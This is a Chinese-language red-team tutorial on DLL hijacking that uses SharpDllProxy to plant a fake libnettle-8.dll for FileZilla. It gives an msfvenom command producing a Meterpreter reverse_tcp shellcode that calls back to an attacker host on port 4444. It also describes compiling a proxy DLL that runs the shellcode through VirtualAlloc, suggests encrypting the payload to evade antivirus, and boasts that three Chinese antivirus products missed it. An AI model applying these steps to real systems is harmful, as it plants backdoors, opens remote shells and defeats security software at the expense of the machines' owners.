dll劫持
再Windows 7 版本之后,系統采用了KnowDLLs對DLL進行管理,其位于注冊表HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs下,在這個下面的DLL文件會被禁止從exe自身所在的目錄下調用,而只能從系統目錄(System32)目錄下調用。造成dll劫持的原因是因為并非所有的DLL都會被寫入注冊表中。
使用msfvenom生成的dll直接秒殺。
SharpDllProxy
聽名字大概類似于socks代理一樣。工具來源自:https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/。具體實現還可以參考這篇大佬的博客.
前言
先理解下動態鏈接庫的運行原理。如果應用程序A要使用動態鏈接庫DataFunctions.dll里面的GetFunkyData()函數,就需要加載DataFunctions.dll動態鏈接庫。這個工具就是出于這一點考慮,創建一個名字一模一樣的DataFunction.dll動態鏈接庫,他的功能有兩個:①做個快捷鍵,將所有的功能轉發到千真萬確的動態鏈接庫DataFunctions.dll,這就是名字中proxy的由來;②在這個假冒的DataFunctions.dll里面寫入shellcode。附上作者原圖:
實驗過程
目標程序
花費了些時間搞這實驗,例如FileZilla軟件,怎么去找這個需要加載的dll呢?如作者說的,把該軟件拷貝出去就知道他缺什么了。如下:
那就說明運行改應用程序需要加載該DLL文件,那就針對這個DLL做一個假的libnettle-8.dll。
生成shellcode
<br/>
<br/>
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw > shell.bin
實驗開始
首先下載SharpDllProxy:https://github.com/Flangvik/SharpDllProxy,然后使用visual studio 2019對其進行編譯,盡量不要使用其他版本,因為我用了下visual studio 2017各種報錯搞了半天沒搞出來,也可能環境有問題。
直接使用 vs 打開 文件下的SharpDllProxy –》 生成解決方案
利用SharpDllProxy.dll創建一個偽造的libnettle-8.dll文件。將shell.bin和需要被假冒的Dll放到上圖的文件中。執行如下命令:.SharpDllProxy.exe –dll libnettle-8.dll –payload shell.bin
生成的文件包含了一個C文件和一個dll,這個dll文件就是原來的 libnettle-8.dll 文件。
來分析下這個C語言程序,從第9行到494行都是轉發DLL的函數,將所有需要運行函數轉發原來的DLL,讓其進行處理。
到了497行就是我們插入的shellcode的地方。重點代碼也就只有這么一點,其實還可以直接把shell.bin這個shellcode寫入到該文件,就減少了文件可疑文件數量。在這里,我們通過VirtualAlloc內存操作將shellcode以二進制方式讀入并執行。到這里就可以自己一頓操作猛如虎,各種免殺姿勢用上來,例如換個加載方式,如對shellcode先加密然后解密運行。
使用 VS 編譯上面的C文件。在文件菜單下選擇新建,然后選擇動態鏈接庫項目,將項目命名為 libnettle-8。復制上面的C文件代碼到VS中編譯
將上面的三個文件(tmpD475.dll、libnettle-8.dll、shell.bin),發送到目標系統中。使用msf監聽,然后運行程序,就已經返回會話了。
使用最常用的殺毒軟件:360、火絨和安全管家都沒有被發現。